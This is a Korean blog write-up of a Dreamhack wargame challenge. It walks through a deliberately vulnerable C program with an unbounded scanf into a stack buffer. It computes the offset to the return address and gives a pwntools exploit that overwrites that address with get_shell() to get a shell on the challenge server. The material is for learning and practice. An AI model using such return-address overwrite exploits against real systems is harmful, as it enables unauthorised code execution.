본문 바로가기

드림핵 워게임

[드림핵/워게임] Return Address Overwrite

https://dreamhack.io/wargame/challenges/351/

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

문제 파일을 다운 받으면 rao.c와 실행파일이 있다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

1. 0x28크기의 buf 선언

2. scanf의 %s 를 통하여 입력 받기

3. 실행 종료

 

scanf("%s", buf)로 입력을 받으면 입력의 길이의 제한이 없다. 따라서 0x28보다 더 큰 문자열을 입력하여 bof 를 일으킬 수 있다.

<엄청난 양의 a를 입력후 RBP에 들어있는 값>

 

메인 함수를 disassemble 하여 봤을 때, buf의 위치가 rbp-0x30이라는 것을 알 수 있다.

(scanf함수의 두번째 인자로 buf가 오기 때문에 rsi 값을 잘 보면 알 수 있음!)

 

또한 문제 파일이 64비트 체계이므로 RET의 위치는 rbp+0x8이다

 

이를 그림으로 보면 다음과 같다.

buf와 RET 사이의 공간이 0x38이므로 이 곳엔 쓰레기 값을 넣어 주고, RET에는 셸을 실행시켜 주는 get_shell() 함수의 주소를 넣어 주면 될 것 같다.

 

get_shell() 함수의 주소는 0x4006aa이다. get_shell() 함수의 주소를 넣어 줄 땐, 리틀 엔디안 형식에 맞추어 '\xaa\x06\x40\x00\x00\x00\x00\x00' 로 넣어 주어야 한다.

 

이제 익스플로잇 코드를 짜 보자!

 

익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 19810)


payload = "A"* 0x38

payload += "\xaa\x06\x40\x00\x00\x00\x00\x00"

p.sendafter("Input: ", payload)
p.interactive()

1. pwn의 remote 함수를 이용해 문제 서버 접속

2. 0x38만큼 쓰레기값 + get_shell 함수의 주소 입력

 

 

이를 실행하면 다음과 같이 명령어를 실행할 수 있게 된다. cat 를 이용해 플래그를 얻어 주면 끝